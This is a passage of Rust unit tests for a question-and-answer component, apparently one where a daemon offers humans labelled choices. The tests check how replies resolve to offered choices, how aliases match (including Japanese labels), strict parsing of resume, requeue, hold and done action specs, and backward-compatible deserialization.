3854 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3855 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3856 let mut q = choice_question();
3857 q.say("old").unwrap();
3858 q.delivered_turns = q.thread.len();
3859 q.say("new").unwrap();
3860 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3861 let shown = answer_for_agent(&q, "SQLite");
3862 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3863 }
3864
3865 #[test]
3866 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
3867 let mut q = choice_question();
3868 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
3869 q.actions.insert(
3870 q.choices[0].clone(),
3871 ChoiceAction::ResumeRun {
3872 run: "run-a".into(),
3873 },
3874 );
3875 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
3876 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3877 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
3878 assert!(
3879 q.resolve_reply("resume-run")
3880 .unwrap_err()
3881 .to_string()
3882 .contains("with offered choices")
3883 );
3884 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
3885 assert!(
3886 q.resolve_reply("daemon: resume [resume run run-a]")
3887 .is_err()
3888 );
3889 q.actions.insert(
3890 q.choices[0].clone(),
3891 ChoiceAction::Resume {
3892 run: "run-a".into(),
3893 },
3894 );
3895 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
3896 q.choices.push("another resume".into());
3897 q.actions.insert(
3898 "another resume".into(),
3899 ChoiceAction::Resume {
3900 run: "run-b".into(),
3901 },
3902 );
3903 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3904 }
3905
3906 #[test]
3907 fn recovery_aliases_require_a_unique_offered_structured_effect() {
3908 let mut q = choice_question();
3909 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3910 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3911 q.actions
3912 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3913 }
3914 assert!(
3915 q.resolve_reply("再開")
3916 .unwrap_err()
3917 .to_string()
3918 .contains("ambiguous")
3919 );
3920 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3921 q.choices.remove(1);
3922 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3923 assert!(q.resolve_reply("resume run-b").is_err());
3924 assert!(q.resolve_reply("保留").is_err());
3925 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3926 assert!(!ChoiceAction::Done.matches_alias("完了"));
3927 }
3928
3929 #[test]
3930 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3931 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3932 let ok = parse_actions(
3933 &[
3934 "resume で続行する=resume".to_owned(),
3935 "wait=done".to_owned(),
3936 ],
3937 &choices,
3938 "run-1",
3939 )
3940 .unwrap();
3941 assert_eq!(
3942 ok["resume で続行する"],
3943 ChoiceAction::Resume {
3944 run: "run-1".into()
3945 }
3946 );
3947 assert_eq!(ok["wait"], ChoiceAction::Done);
3948
3949 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3950 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3951 assert_eq!(
3952 ChoiceAction::parse("x=requeue", "").unwrap().1,
3953 ChoiceAction::Requeue
3954 );
3955
3956 assert_eq!(
3957 ChoiceAction::parse("x=hold", "").unwrap().1,
3958 ChoiceAction::Hold
3959 );
3960
3961 for bad in [
3962 "no-equals",
3963 "=done",
3964 "x=resume",
3965 "x=resume:",
3966 "x=explode",
3967 "x=done:1",
3968 ] {
3969 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3970 }
3971 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3972 assert!(
3973 parse_actions(
3974 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3975 &choices,
3976 ""
3977 )
3978 .is_err()
3979 );
3980 }
3981
3982 #[test]
3983 fn only_a_chosen_label_with_an_action_is_actionable() {
3984 let mut q = choice_question();
3985 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3986 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3987 assert!(q.chosen_action().is_none(), "unanswered");
3988 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3989 assert!(
3990 q.chosen_action().is_none(),
3991 "a label that merely reads like an action does nothing"
3992 );
3993
3994 let mut q2 = choice_question();
3995 q2.choices = vec!["SQLite".to_owned()];
3996 q2.actions
3997 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3998 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3999 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4000 }
4001
4002 #[test]
4003 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4004 let mut q = choice_question();
4005 q.choices = vec!["A".to_owned(), "B".to_owned()];
4006 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4007 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4008 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4009 assert_eq!(q.actions.len(), 1);
4010 assert!(q.actions.contains_key("B"));
4011
4012 let mut v = serde_json::to_value(&q).unwrap();
4013 v.as_object_mut().unwrap().remove("actions");
4014 let old: Question = serde_json::from_value(v).unwrap();
4015 assert!(old.actions.is_empty());
4016 }
4017}